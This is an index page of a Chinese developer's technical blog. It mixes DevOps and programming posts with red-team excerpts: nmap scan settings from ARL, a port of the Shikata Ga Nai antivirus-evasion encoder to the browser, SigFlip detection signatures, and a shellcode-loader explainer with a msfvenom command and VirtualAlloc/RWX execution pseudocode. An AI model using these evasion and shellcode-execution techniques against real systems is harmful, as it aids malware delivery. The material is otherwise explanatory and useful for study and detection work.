Akkuman 的技术博客

bitwarden ssh agent 使用

Fri, 27 Mar 2026 16:48:38 +0800

本文介绍了如何使用 Bitwarden 密码管理器来管理SSH密钥，并通过其SSH代理功能在各种操作系统和终端环境下安全、方便地使用这些密钥进行认证。

headless-wps arm64 后续

Thu, 19 Mar 2026 15:14:37 +0800

这篇文章讨论了为 headless-wps 项目提供 ARM64 版本镜像的探索历程。核心结论是：在页大小为 4K 的 ARM64 Linux 内核上，WPS 可以正常运行；但在页大小为 64K 的内核（如某些国产化系统）上，由于 WPS 内置的 libcef（浏览器组件）无法加载，导致相关功能严重缺失。

为什么我的 powershell 启动这么慢

Tue, 03 Mar 2026 09:37:13 +0800

本文分析了Windows Terminal中PowerShell启动缓慢的问题，发现主要原因是加载个人配置文件（profile.ps1）耗时过长。通过逐步排查，确定问题出在conda初始化脚本上。解决方案包括：注释掉conda相关代码以加快启动速度，或参考社区讨论中的优化方法。

Clean up old versions of VSCode

Sat, 28 Feb 2026 17:08:30 +0800

A script to help you clean up old versions of VSCode

迁移git仓库已有文件到 lfs

Thu, 05 Feb 2026 09:58:59 +0800

本文介绍了如何将Git仓库中的大文件迁移到Git LFS（Large File Storage）中。核心方法是利用`.gitattributes`文件定义需要追踪的大文件，然后通过`git lfs migrate import --everything --fixup`命令进行迁移。但直接使用`--fixup`可能无效，因为该命令依赖历史提交中的`.gitattributes`文件。解决方案是先用`git-filter-repo`工具将`.gitattributes`文件注入到所有历史提交中，再执行LFS迁移。文章还提供了备选方案：通过解析`.gitattributes`文件生成`--include`参数列表进行迁移，但此方法可能无法处理标签。最终推荐的方法是先注入`.gitattributes`到历史记录，再使用`--fixup`完成迁移。

一行命令共享 SSH 终端会话

Thu, 11 Dec 2025 09:20:00 +0800

本文介绍了一种快速共享SSH终端会话的方法，使用一条命令即可通过upterm工具（tmate的替代品）创建临时会话。执行命令后，系统会生成一个临时的SSH连接地址，用户可将其分享给他人以实现终端实时共享。

国内使用 gitea action 加速

Mon, 08 Dec 2025 14:50:16 +0800

本文介绍了在国内使用 Gitea Actions 时如何通过部署和配置 act runner 来从网络层面加速工作流执行，显著提升 Gitea Actions 在国内网络环境下的执行速度。

非侵入式容器日志收集

Fri, 19 Sep 2025 16:41:52 +0800

本文介绍了使用Grafana、Loki和Alloy搭建非侵入式容器日志收集系统的方案。该系统通过监控Docker容器日志，自动推送至Loki存储，并利用Grafana进行可视化查询，无需修改应用程序代码。文章提供了Alloy配置文件示例，说明如何发现Docker容器、提取元数据（如容器名称），并添加标签区分不同主机日志。还提到可通过过滤器选择特定容器进行日志收集。最后给出了Loki的基础配置，包括保留策略和索引标签设置。该方案实现了轻量级、无代码侵入的容器日志集中管理。

huma 中如何和 int64 搭配使用

Tue, 16 Sep 2025 10:41:59 +0800

在 Golang 中使用 Huma 框架时，处理 int64 类型（如雪花 ID）在前端 JSON 序列化中可能遇到精度问题。本文提供了解决方案：通过自定义 BigInt 类型实现 JSON 序列化接口、Huma 的 SchemaProvider 接口生成 OpenAPI 文档，以及 ParamWrapper 接口处理查询和路径参数，确保 int64 在前端以字符串形式安全传输。

搭建 golang mips 容器测试环境

Thu, 17 Jul 2025 17:05:32 +0800

本文介绍了在Golang中编译MIPS架构程序并在本地测试的方法。作者尝试使用multiarch/qemu-user-static容器环境时遇到兼容性问题，发现旧版本QEMU对MIPS 32位支持不足。通过测试发现Arch Linux的最新版qemu-user-static可以正常运行，但tonistiigi/binfmt项目暂不支持MIPS 32位。最终解决方案是下载Arch Linux的qemu-user-static包，提取其中的qemu-mipsel-static（小端）或qemu-mips-static（大端）二进制文件挂载到容器中使用。

staticx 试用

Wed, 16 Jul 2025 13:56:03 +0800

本文测试了staticx工具在32位系统上打包Python程序为静态可执行文件的可行性。通过Docker创建32位Debian环境，分别使用nuitka和pyinstaller进行打包测试。结果显示：nuitka的standalone模式产物无法运行，而pyinstaller+onefile模式生成的二进制文件可在64位系统运行，但在CentOS 6 32位系统报错缺少libnssfix.so。后续尝试在CentOS 6 32位直接安装Python 3.11并用pyinstaller打包时，staticx处理过程出现异常。测试表明当前方案存在跨平台兼容性问题，特别是对老旧32位系统的支持不足。

centos6使用高版本python

Fri, 11 Jul 2025 13:21:15 +0800

原文链接：centos6使用高版本python | Akkuman 的技术博客

背景

需要能在 centos 6.3 上跑的 python 3.10 3.12

并且需要支持 pandas/numpy 科学库，能使用 nuitka 打包

官方版本肯定是跑不起来的

根据之前的 ansible-playbook 独立二进制编译实录中提到的参考来看

Dagger 支持导出镜像到本机了

Thu, 10 Jul 2025 14:41:36 +0800

Dagger最新功能支持将构建的容器镜像直接导出到本地运行时环境，无需再通过tarball中转。新增`export-image`命令和`_EXPERIMENTAL_DAGGER_RUNNER_IMAGESTORE`环境变量，支持containerd（默认）和docker-image两种导出方式。其中docker-image方式仍依赖docker-cli进行加载，而containerd可直接使用默认socket地址或通过CONTAINERD_ADDRESS自定义。该功能简化了镜像导出流程，但docker-image的实现方式仍存在优化空间。

使用 cargo-xwin 交叉编译 rust 程序

Thu, 12 Jun 2025 14:16:42 +0800

本文介绍了使用cargo-xwin工具交叉编译Rust程序到Windows x86平台时遇到的问题及解决方案。通过创建Docker容器环境、安装必要依赖（clang/llvm）、配置Rust国内镜像源，最终使用 cargo-xwin进行编译。虽然仍出现头文件缺失错误，但提供了完整的交叉编译环境搭建流程和调试以及最终解决方案。

vscode 1.99 后无法连接到 ubuntu 18.04

Thu, 29 May 2025 16:44:14 +0800

VS Code 官方放弃了对Ubuntu 18.04等旧版Linux系统的支持。本文提供了一个比官方更简单的解决方案，无需手动编译可绕过系统限制继续使用远程开发功能。

ansible-playbook 独立二进制编译实录

Thu, 14 Nov 2024 13:45:40 +0800

本文记录了将 ansible-playbook 编译为独立二进制文件的探索过程。因内部部署环境存在 docker 版本和系统兼容性问题，希望将 ansible-playbook 打包成独立可执行文件。经过调研，尝试了 nuitka、pyInstaller 等多种 python 打包工具，最终选择 nuitka 方案。通过构建 docker 镜像进行编译测试，发现 glibc 依赖问题导致兼容性受限。随后尝试静态编译和使用低版本基础镜像降低 glibc 要求，最终采用低版本 linux 作为基础镜像，并解决 python 环境适配问题。文章详细记录了技术选型、编译方案调整和具体实现过程，为类似场景下的 python 工具二进制化提供了实践参考。

Dagger 使用札记

Mon, 04 Nov 2024 15:30:22 +0800

Dagger 用来简化和标准化复杂的 CI/CD 管道，本文介绍了它的使用技巧

docker 中使用 pywpsrpc

Wed, 02 Aug 2023 08:39:33 +0000

一般如果使用带桌面环境的 docker，比如 dorowu/ubuntu-desktop-lxde-vnc，然后安装 wps 后，使用 https://github.com/timxx/pywpsrpc 是没啥问题的，需要注意的是 wps 第一次打开后，需要同意 EULA，然后按照 https://github.com/timxx/pywpsrpc/issues/44#issuecomment-1032304847 中提到的改为 multi-module mode，然后就可以愉快使用了，但是对于无图形环境的 docker，似乎是连 wps 都无法启动

解决WPS无法启动的问题

wps安装之前需要安装一些依赖环境，这个后文给出完整的安装流程，此处主要解决 wps 安装完成后，启动无输出，直接闪退的问题

此处安装 https://github.com/timxx/pywpsrpc/wiki/Run-on-Server 配置了环境，但是wps依旧闪退

首先执行 whereis wps ，我们找到 wps 的执行文件路径，一般位于 /usr/bin/wps

然后我们编辑该文件

function run()
{
        oldPwd="${PWD}"
        if [ -e "${gInstallPath}/office6/${gApp}" ] ; then
                if [ 1 -eq ${gDaemon} ]; then
                        nohup ${gInstallPath}/office6/${gApp} ${gOpt} > /dev/null 2>&1 &
                elif [ 1 -eq ${gIsUrl} ]; then
                        { ${gInstallPath}/office6/${gApp}  ${gOptExt} ${gOpt} "${gFilePaths[@]}"; } > /dev/null 2>&1
                elif [ 1 -eq ${gIsFushion} ] && [ "$1" != "/prometheus" ]; then
                        { unset GIO_LAUNCHED_DESKTOP_FILE && ${gInstallPath}/office6/${gApp} /prometheus ${gOptExt} ${gOpt} "$@"; } > /dev/null 2>&1
                else
                        { ${gInstallPath}/office6/${gApp}  ${gOptExt} ${gOpt} "$@"; }
                fi
        else
                echo "${gApp} does not exist!"
        fi
}

将最后一个 else 的输出重定向去除，此时我们再运行 wps 就有报错输出了

photoprism+rclone搭建

Sun, 04 Jun 2023 06:44:26 +0000

本文以onedrive为例使用rclone来搭建photoprism相册管理工具

钉钉直播回放下载

Tue, 21 Feb 2023 06:53:06 +0000

下载不允许下载的钉钉直播回放

使用zig在linux上交叉编译cgo

Mon, 13 Feb 2023 02:46:29 +0000

使用zig在linux上交叉编译cgo 的 github action

xp 兼容的 go-sciter

Mon, 19 Sep 2022 18:02:47 +0000

本文说明了如何将 go-sciter 兼容 xp

frp 源码阅读

Wed, 17 Aug 2022 18:40:48 +0000

本文对于 frp 的主要流程做了阅读与说明

hugo+NetlifyCMS部署

Sat, 25 Jun 2022 08:02:47 +0000

本文记录了怎么为已经存在CI(Github Action)的hugo博客添加 Netlify CMS

从arl中学习到的nmap配置

Wed, 13 Apr 2022 06:39:00 +0000

灯塔（ARL）里面有一个namp扫描模块，里面有配置可以学习一下

首先上代码

class PortScan:
    def __init__(self, targets, ports=None, service_detect=False, os_detect=False,
                 port_parallelism=None, port_min_rate=None, custom_host_timeout=None):
        self.targets = " ".join(targets)
        self.ports = ports
        self.max_hostgroup = 128
        self.alive_port = "22,80,443,843,3389,8007-8011,8443,9090,8080-8091,8093,8099,5000-5004,2222,3306,1433,21,25"
        self.nmap_arguments = "-sT -n --open"
        self.max_retries = 3
        self.host_timeout = 60*5
        self.parallelism = port_parallelism  # 默认 32
        self.min_rate = port_min_rate  # 默认64

        if service_detect:
            self.host_timeout += 60 * 5
            self.nmap_arguments += " -sV"

        if os_detect:
            self.host_timeout += 60 * 4
            self.nmap_arguments += " -O"

        if len(self.ports.split(",")) > 60:
            self.nmap_arguments += " -PE -PS{}".format(self.alive_port)
            self.max_retries = 2
        else:
            if self.ports != "0-65535":
                self.nmap_arguments += " -Pn"

        if self.ports == "0-65535":
            self.max_hostgroup = 8
            self.min_rate = max(self.min_rate, 400)

            self.nmap_arguments += " -PE -PS{}".format(self.alive_port)
            self.host_timeout += 60 * 2
            self.max_retries = 2

        self.nmap_arguments += " --max-rtt-timeout 800ms"
        self.nmap_arguments += " --min-rate {}".format(self.min_rate)
        self.nmap_arguments += " --script-timeout 6s"
        self.nmap_arguments += " --max-hostgroup {}".format(self.max_hostgroup)

        # 依据传过来的超时为准
        if custom_host_timeout is not None:
            if int(custom_host_timeout) > 0:
                self.host_timeout = custom_host_timeout
        self.nmap_arguments += " --host-timeout {}s".format(self.host_timeout)
        self.nmap_arguments += " --min-parallelism {}".format(self.parallelism)
        self.nmap_arguments += " --max-retries {}".format(self.max_retries)

    def run(self):
        logger.info("nmap target {}  ports {}  arguments {}".format(
            self.targets[:20], self.ports[:20], self.nmap_arguments))
        nm = nmap.PortScanner()
        nm.scan(hosts=self.targets, ports=self.ports, arguments=self.nmap_arguments)
        ip_info_list = []
        for host in nm.all_hosts():
            port_info_list = []
            for proto in nm[host].all_protocols():
                port_len = len(nm[host][proto])

                for port in nm[host][proto]:
                    # 对于开了很多端口的直接丢弃
                    if port_len > 600 and (port not in [80, 443]):
                        continue

                    port_info = nm[host][proto][port]
                    item = {
                        "port_id": port,
                        "service_name": port_info["name"],
                        "version": port_info["version"],
                        "product": port_info["product"],
                        "protocol": proto
                    }

                    port_info_list.append(item)

            osmatch_list = nm[host].get("osmatch", [])
            os_info = self.os_match_by_accuracy(osmatch_list)

            ip_info = {
                "ip": host,
                "port_info": port_info_list,
                "os_info": os_info
            }
            ip_info_list.append(ip_info)

        return ip_info_list

    def os_match_by_accuracy(self, os_match_list):
        for os_match in os_match_list:
            accuracy = os_match.get('accuracy', '0')
            if int(accuracy) > 90:
                return os_match

        return {}

入口是run

将Shikata ga nai带到前端

Fri, 04 Mar 2022 07:56:00 +0000

Shikata ga nai是什么

Metasploit-Framework是一个漏洞利用框架，里面有大量的漏洞库，针对shellcode一些混淆编码器可以让用户bypass一些安全软件，其中一个比较核心的编码器是Shikata Ga Nai (SGN)。

shellcode 主要是机器码，也可以看作一段汇编指令。Metasploit 在默认配置下就会对payload进行编码。虽然 Metasploit 有各种编码器，但最受欢迎的是 SGN。日语中的短语 SGN 的意思是“无能为力”，之所以这样说，是因为它在创建时传统的反病毒产品难以检测。

检测 SGN 编码的payload很困难，尤其是在严重依赖静态检测的情况下。任何基于规则的静态检测机制基本上都无法检测到用 SGN 编码的payload。而不断扫描内存的计算成本很高，因此不太可行。这使得大多数杀软依赖于行为指标和沙箱进行检测。

为什么说带到前端

首先介绍下 EgeBalci/sgn，这个项目将msf的Shikata Ga Nai编码器移植到了Golang，使得用户可以不通过msf即可享受到SGN的能力。

既然这个项目是非平台依赖的工具，那我们可以考虑将它移植到前端，这样用户只需要打开浏览器就能用了。

移植思路

首先我们可以考虑：sgn是一个golang项目，所以我们可以编译到wasm，然后暴露api给javascript来调用，这样就可以实现前端使用sgn了。

但是遇到了一些问题。

该项目并不是一个Pure Go项目，它依赖cgo，没办法编译到wasm。

但是我记得 github.com/therecipe/qt 可以编译到wasm，通过一些研究，发现它是采用了go-js-qt的桥接，qt是可以编译到wasm的，go也可以编译到wasm，然后两者之间再桥接起来。那我们可以尝试先将 github.com/keystone-engine/keystone 编译到wasm，然后将sgn项目里面调用cgo的地方全部使用 syscall/js 桥接到keystone上去，此时sgn变成了一个Pure Go项目，可以将其编译到wasm了，然后再暴露出一个接口就可以供js使用了

实现手段

cgo到桥接

sgn里面需要使用cgo是因为依赖 github.com/EgeBalci/keystone-go，看了一下这个项目，其实是keystone的包装，keystone是一个c++写的项目，所以我们可以考虑使用 emscripten 来将keystone编译到wasm，不过该项工作已经有人做了，我们在这边就不自己再花时间搭环境编译了，可以看看 alexaltea.github.io/keystone.js/

然后我们看看sgn里面依赖cgo的地方，主要是在 pkg/sgn.go

package sgn

import (
	...
	"github.com/EgeBalci/keystone-go"
)

...
// Assemble assembes the given instructions
// and return a byte array with a boolean value indicating wether the operation is successful or not
func (encoder Encoder) Assemble(asm string) ([]byte, bool) {
	var mode keystone.Mode
	switch encoder.architecture {
	case 32:
		mode = keystone.MODE_32
	case 64:
		mode = keystone.MODE_64
	default:
		return nil, false
	}

	ks, err := keystone.New(keystone.ARCH_X86, mode)
	if err != nil {
		return nil, false
	}
	defer ks.Close()

	err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
	if err != nil {
		return nil, false
	}
	//log.Println(asm)
	bin, _, ok := ks.Assemble(asm, 0)
	return bin, ok
}

// GetAssemblySize assembes the given  instructions and returns the total instruction size
// if assembly fails return value is -1
func (encoder Encoder) GetAssemblySize(asm string) int {
	var mode keystone.Mode
	switch encoder.architecture {
	case 32:
		mode = keystone.MODE_32
	case 64:
		mode = keystone.MODE_64
	default:
		return -1
	}

	ks, err := keystone.New(keystone.ARCH_X86, mode)
	if err != nil {
		return -1
	}
	defer ks.Close()

	err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
	if err != nil {
		return -1
	}
	//log.Println(asm)
	bin, _, ok := ks.Assemble(asm, 0)

	if !ok {
		return -1
	}
	return len(bin)
}
...

其实工作量并不大，只是需要把所有对 keystone-go 的调用换到keystone.js上即可。

ksubdomain源码阅读

Mon, 28 Feb 2022 02:56:00 +0000

前两天看了amass关于dns枚举的实现，当然关于加速dns枚举的还有ksubdomain这个项目，今天花了几分钟看了下实现

阅读基于 https://github.com/boy-hack/ksubdomain/commit/9a2f2967eb8fb5c155b22393b9241f4cd6a02dc4

分析

首先从入口点开始看 https://github.com/boy-hack/ksubdomain/blob/main/cmd/ksubdomain/enum.go#L55-L109

Action: func(c *cli.Context) error {
		if c.NumFlags() == 0 {
			cli.ShowCommandHelpAndExit(c, "enum", 0)
		}
		var domains []string
		// handle domain
		if c.String("domain") != "" {
			domains = append(domains, c.String("domain"))
		}
		if c.String("domainList") != "" {
			dl, err := core.LinesInFile(c.String("domainList"))
			if err != nil {
				gologger.Fatalf("读取domain文件失败:%s\n", err.Error())
			}
			domains = append(dl, domains...)
		}
		levelDict := c.String("level-dict")
		var levelDomains []string
		if levelDict != "" {
			dl, err := core.LinesInFile(levelDict)
			if err != nil {
				gologger.Fatalf("读取domain文件失败:%s,请检查--level-dict参数\n", err.Error())
			}
			levelDomains = dl
		} else if c.Int("level") > 2 {
			levelDomains = core.GetDefaultSubNextData()
		}

		opt := &options.Options{
			Rate:         options.Band2Rate(c.String("band")),
			Domain:       domains,
			FileName:     c.String("filename"),
			Resolvers:    options.GetResolvers(c.String("resolvers")),
			Output:       c.String("output"),
			Silent:       c.Bool("silent"),
			Stdin:        c.Bool("stdin"),
			SkipWildCard: c.Bool("skip-wild"),
			TimeOut:      c.Int("timeout"),
			Retry:        c.Int("retry"),
			Method:       "enum",
			OnlyDomain:   c.Bool("only-domain"),
			NotPrint:     c.Bool("not-print"),
			Level:        c.Int("level"),
			LevelDomains: levelDomains,
		}
		opt.Check()

		r, err := runner.New(opt)
		if err != nil {
			gologger.Fatalf("%s\n", err.Error())
			return nil
		}
		r.RunEnumeration()
		r.Close()
		return nil
	},

具体的实现细节就不关注了，可以看到入口点只是读取了一些配置，继续进入 RunEnumeration 看看

自建bitwarden备份同步到坚果云

Fri, 10 Dec 2021 09:00:00 +0000

因为bitwarden的氪金玩家才能使用双因子认证，恰好手上有个vps，搭建个bitwarden服务端来使用2fa

自建bitwarden

vps比较垃圾，所以选用一个资源开销比较小的服务端比较有必要，我这里选择的是 https://github.com/mprasil/bitwarden_rs

这里采用 docker-compose 进行部署

version: '3'

services:
  bitwarden:
    image: bitwardenrs/server:latest
    container_name: bitwarden
    restart: unless-stopped
    volumes:
      - ./bw-data:/data
    environment:
      - WEBSOCKET_ENABLED=true
      - SIGNUPS_ALLOWED=true
      - WEB_VAULT_ENABLED=true
      - ADMIN_TOKEN=xxxxxxxxxxxxxxxxxxxx
    ports:
      - "127.0.0.1:8889:80"
      - "127.0.0.1:8810:3012"

其中的3012是websocket通知端口

notion实现自动发布到hugo github博客

Fri, 10 Dec 2021 07:51:00 +0000

notion是用来记录笔记的，hugo是我用来作为github博客自动构建发布的

我目前设置了一个github action是：当我的博客仓库hugo分支有push事件时，自动构建文章发布到master分支，并且发布到博客园。

但是会有这样的不便：在notion中写了一篇笔记或文章，想要发布到github静态博客上，发现需要先将文章转化成markdown，图片需要上传到图床，然后贴入markdown，然后再推送到github，等待action自动构建静态博客

既然我使用notion记录笔记，何不继续All-in-one，将notion作为我的博客发布工具。

只需要在 notion 中建立一个用于博客发布的 database，然后写完笔记后填入这个 database，再使用一些手段触发 CI 即可完成博客文章的发布

工具介绍

说干就干，写了两个工具

notiontomd 是用来notion中的某个page转化为markdown的库，当然，当前支持的block是有限的，详细信息可以查看该仓库

notion_to_github_blog则是一个github action模板，用来自动从指定格式的database中拉取需要更新发布的文章，然后利用 notiontomd 转化为markdown，然后推送到github仓库，再触发另外的github aciton进行博客静态文件构建

使用

怎么建仓怎么自动从某分支拉取推到github pages所在分支我就不展开说明了，感兴趣的可以去网上搜索相关资料，本文所关注的流程是从notion database到博客源文件

基础环境

本文所涉及到的例子环境可以前往我的博客仓库 https://github.com/akkuman/akkuman.github.io 进行查看

hugo分支用来存放博客源文件，其中有一个github action的功能是push时触发，然后自动构建推送到master分支
master分支用来存放hugo构建之后生成的站点静态文件
博客相关的图片我会推送到 https://github.com/akkuman/pic 仓库
hugo作为主分支，master设置为github pages分支（原因后面描述）

workflows编写

要使用该action，首先你需要在 notion 中创建一个 database，这个 database 需要有几个字段，字段名如下:

Name (title): 文章标题
Article (text): 文章链接
MDFilename (text): 创建的 markdown 文件名
Category (select): 文章分类
Tags (multi_select): 文章标签
IsPublish (checkbox): 文章是否发布
NeedUpdate (checkbox): 文章是否有更新
CreateAt (Created time): 创建时间

识别SigFlip生成的恶意文件

Fri, 10 Dec 2021 07:41:00 +0000

最近在移植 med0x2e/SigFlip 的过程中发现了一个有意思的点，可以用来作为检测的手段

在 SigFlip 项目的 Detect/Prevent 一节中作者有提到一些检测防御手段

https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2014/2915720?redirectedfrom=MSDN

Once the patch is installed and proper registry keys are set, No system restarts are required, you only need to restart the Cryptographic Services. The Applocker service will be also restarted as it depends on the cryptographic services.(@p0w3rsh3ll)

Yara rule by Adrien; https://twitter.com/Int2e_/status/1330975808941330432

从 SigFlip 源码中，其实也能发现一个点

SigFlip 依赖一串特定的字节来定位shellcode的位置，详见 Native/SigLoader/SigLoader/SigLoader.cpp#L102 和 Native/SigFlip/SigFlip/SigFlip.cpp#L232

for (_index = 0; _index < _CertTableSize; _index++) {
		if (*(_pePtr + _index) == 0xfe && *(_pePtr + _index + 1) == 0xed && *(_pePtr + _index + 2) == 0xfa && *(_pePtr + _index + 3) == 0xce) {
			printf("[*]: Tag Found 0x%x%x%x%x", *(_pePtr + _index), *(_pePtr + _index+1), *(_pePtr + _index+2), *(_pePtr + _index+3));
			_dataOffset = _index + 8;
			break;
		}
	}

1
2

memcpy(_encryptedData, "\xFE\xED\xFA\xCE\xFE\xED\xFA\xCE", 8);
crypt((unsigned char*)_data, _dataSize, _key, _keySize, (unsigned char*)_encryptedData + 8);

也就是说我们在证书表中定位到 \xFE\xED\xFA\xCE\xFE\xED\xFA\xCE 这段特征就可以断定它疑似 SigFlip 生成的 payload 了，想要更精准一些可以结合 https://twitter.com/Int2e_/status/1330975808941330432 中提到的长度特征。

将newsletter转为rss

Mon, 06 Dec 2021 08:09:00 +0000

相关的开源项目 https://github.com/leafac/kill-the-newsletter

作者提供了一个网站 https://kill-the-newsletter.com/ 来提供服务，截至20211119，至少已经提供了两年的服务了，所以稳定性还可

下面就是使用方法了

选择一个你要订阅的newsletter，比如 https://random-lab.ghost.io/
打开 https://kill-the-newsletter.com/ ，输入你要给该订阅取的名字，比如我输入 1000小食报 ，然后点击 create inbox
然后会提供给你一个邮箱和一个rss订阅地址
将邮箱地址填入第一步中的订阅邮箱
将rss订阅地址加到你的rss阅读器

一般情况下你会收到的第一个订阅消息是叫你确认订阅，点击确认地址即可

下面说下原理：

首先需要有个邮服，然后每次创建inbox的时候随机生成一个邮箱，并且将此邮箱的收件箱内容转为rss订阅暴露出来

网络空间检索平台对比

Wed, 27 Oct 2021 09:40:45 +0000

最近网络空间检索平台雨后春笋般涌现，本篇文章以一个使用者的视角来做一下对比

SonarQube钉钉通知插件

Wed, 29 Sep 2021 04:22:47 +0000

网上看到的钉钉通知插件已经不适用于最新的 SonarQube 了，所以自己花了点时间撸了一下

golang实现dll恶意劫持转发

Thu, 22 Jul 2021 02:01:02 +0000

本文章将讲解如何使用恶意的 Golang 来实现 dll 劫持转发

DeimosC2 源码阅读

Fri, 16 Apr 2021 12:32:14 +0000

花了点时间阅读了一下 https://github.com/DeimosC2/DeimosC2 项目的源代码，本文是一个简要的阅读笔记

一行命令删除空的docker images

Wed, 03 Mar 2021 10:14:17 +0000

有些时候我们 docker build 镜像会出现很多 <none> 的残余 cache image 在我们的系统中。

docker build出现交互式时区设置解决

Wed, 03 Mar 2021 10:09:59 +0000

当我们基于ubuntu镜像构建Docker的时候，偶尔会出现 please select the geographic area in which you live. 让我们选择时区

Amass项目源码阅读(整体架构)

Wed, 03 Feb 2021 03:58:06 +0000

本文写于 Amass v3.11.2，可能后续有过更多变更，但是应该整体逻辑不会有十分大的变动了

golang qt中的自定义Object

Wed, 23 Dec 2020 03:04:34 +0000

这篇文章主要记录golang qt使用中的自定义Object怎么编写以及singal使用

gitea drone webhook触发失败

Tue, 08 Dec 2020 04:48:09 +0000

我们知道在Drone中激活gitea仓库后会在该仓库下生成一个webhook，但是当我们推送时却无事发生，测试推送时出现错误

`1`	`Delivery: Post "http://ci.test.com/hook?secret=zMIxs0On0e7FOpgt6RImNrlgD6Bu4OQr": read tcp 172.27.0.3:56812->10.20.156.4:80: i/o timeout`

Channels 3 Daphne Uvicorn Error AppRegistryNotReady

Thu, 03 Dec 2020 09:40:16 +0000

Django 在使用 Channels 3 时，使用 Daphne 或者 Uvicorn 启动会出现 AppRegistryNotReady 错误

这个主要的原因是在项目启动前未初始化，我尝试自行解决了一下

mysql8更新密码不成功

Fri, 06 Nov 2020 16:57:00 +0000

表现为按照官方文档 https://dev.mysql.com/doc/refman/8.0/en/resetting-permissions.html 中的说明 B.3.3.2.3 Resetting the Root Password: Generic Instructions 无法成功更改

chrome SwitchyOmega 无法代理本机

Wed, 28 Oct 2020 09:25:00 +0000

比如使用burp，设置代理后，就算把不代理的地址列表中的全部去掉，如果流量是到本机，依旧无法代理

metasploit使用外部数据库（TODO）

Wed, 30 Sep 2020 20:36:00 +0000

metasploit不能使用外部的pgsql数据库搞得一直很蛋疼，这篇小记只是记录下如何一步步让metasploit使用外部的pgsql，本篇文章中使用pgsql的docker

WIP：msf rpc console 不能同时对一个session进行操作

Mon, 21 Sep 2020 14:34:00 +0000

感觉可能是需要对 connect_session 改动一下

后面有时间验证一下

msf stagers开发不完全指北(四)- msf 中使用域前置技术隐藏流量

Fri, 17 Jul 2020 18:01:00 +0000

前几篇都是说了下如何采用不同的语言开发 reverse_tcp 第二阶段，接下来将慢慢分析 reverse_http，这篇文章并不会围绕 stagers 进行讲解，这篇文章只是半埋上我之前挖的一个坑，关于域前置技术如何在 msf 中进行应用。

elementui 表格中带有按钮的loading解决方案

Fri, 17 Jul 2020 13:28:00 +0000

需求：表格每一列有一个按钮字段，点击后需要loading

msf stagers开发不完全指北(三)

Sun, 28 Jun 2020 13:43:00 +0000

采用 Python 开发stagers

msf stagers开发不完全指北(二)

Sun, 28 Jun 2020 13:40:00 +0000

采用 Golang 开发stagers

msf stagers开发不完全指北(一)

Tue, 23 Jun 2020 18:19:00 +0000

采用c开发stagers

博客园某开源主题暗藏私货？

Tue, 12 May 2020 22:14:00 +0000

2020/05/13 14:50更新

在评论的驱使下我仔细去看了下，有几处确实用到了后端接口

1
2
3

  loadBlogTalk: (page) => {
    return forwardXmlJsonp("https://ing.cnblogs.com/u/" + blogConst.blogAcc + "/" + page, parseTalkList);
  },

1
2
3

  loadBlogSearch: (keyword) => {
    return forwardXmlJsonp("https://zzk.cnblogs.com/s/blogpost?w=" + encodeURI("blog:" + blogConst.blogAcc + " " + keyword), parseSearchKeyWord);
  },

  loadFollowers: (page) => {
    let url = "https://home.cnblogs.com/u/" + blogConst.blogAcc + "/relation/followers/";
    if (page && page > 1) {
      url += "?page=" + page;
    }
    return forwardXmlJsonp(url, parseFollowers);
  },

这三个接口是走的php后端的api，理由是能自洽的，因为涉及到不同子域了，存在跨站请求，所以需要第三方后端来进行处理

metasploit payload运行原理浅析(sockedi调用约定是什么)

Sat, 09 May 2020 17:39:00 +0000

本篇文章主要讨论一下msf官方文档中提到的sockedi调用约定到底是指什么?

msf的rpc和json-rpc，我该选择哪个？

Thu, 07 May 2020 18:59:00 +0000

msf的rpc有两种调用方式，那么我们应该调用哪一个呢？

纯Golang获取MP4视频时长信息

Thu, 27 Feb 2020 14:03:00 +0000

主要原理是根据MP4文档格式取到moov结构，然后获取时长

如何用Golang写msf插件模块

Fri, 14 Feb 2020 14:16:00 +0000

最近有空在看msf，发现msf里面有模块的源码是golang的，去翻了翻wiki，wiki上面的编写日期是2018.12.13，搜了下国内，好像没有这方面的文章，那就自己跟着做做记个笔记

Python内存加载shellcode

Wed, 13 Nov 2019 17:14:00 +0000

生成

首先生成一个测试的msf shellcode

`1`	`msfvenom -p windows/x64/exec CMD=calc.exe -f python`

把其中的shellcode复制出来留待待会使用

原理

大部分脚本语言加载 shellcode 其实都是通过 c 的 ffi 去调用操作系统的api，其实并没有太多的技巧在里面，明白了原理，只需要查一下对应的脚本语言怎么调用 c 即可。

那么我们只需要明白 c 通常是怎么加载 shellcode 的即可一通百通。

那么 c 是怎么加载 shellcode 呢，我们直接从汇编开始探究。

shellcode 这个东西我们明白是一串可执行的二进制（一般可执行文件的拥有可执行权限的section为.text），那么我们先通过其他的手段开辟一片拥有可读可写可执行权限的区域放入我们的 shellcode，然后跳转到 shellcode 首地址去执行就行了，汇编里面改变eip（即当前指令的下一条即将运行指令的虚拟地址）的方法有不少，最简单的就是直接 jmp 过去了。也就是写成伪码大概意思就是（动态申请内存就不写了）

1
2

lea eax, shellcode;
jmp eax;

那么我们用 c 怎么表示呢？我这里也写一段伪码（因为本文的重点并不是在于 c 代码的编写）

那么按照刚才的思路，先申请一块可执行的内存，放入 shellcode 然后跳转过去执行即可。

// shellcode
unsigned char shellcode[] =
    "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9" 
    "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"  
    "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"  
    ...;
// 定义一个函数类型
typedef void (__stdcall *CODE) ();
// 申请内存
PVOID p = NULL;  
p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 把shellcode放入内存
memcpy(p, shellcode, sizeof(shellcode));

CODE code =(CODE)p;

code();

我并没有写出一个可用的 c 加载 shellcode，只是旨在点出一下流程，然后引出后面的 python 加载 shellcode，上面我们先申请了一块带有可读可写可执行权限的内存，然后把 shellcode 放进去，然后我们强转为一个函数类型指针，最后调用这个函数，达到了我们的目的。

RAP2 前后端开发利器搭建

Sat, 12 Oct 2019 20:55:12 +0000

RAP2 是一个api管理系统，前后端协作开发的利器。

在线体验地址http://rap2.taobao.org

Web接口管理工具，开源免费，接口自动化，MOCK数据自动生成，自动化测试，企业级管理。

git出现Invalid path

Thu, 12 Sep 2019 16:39:00 +0000

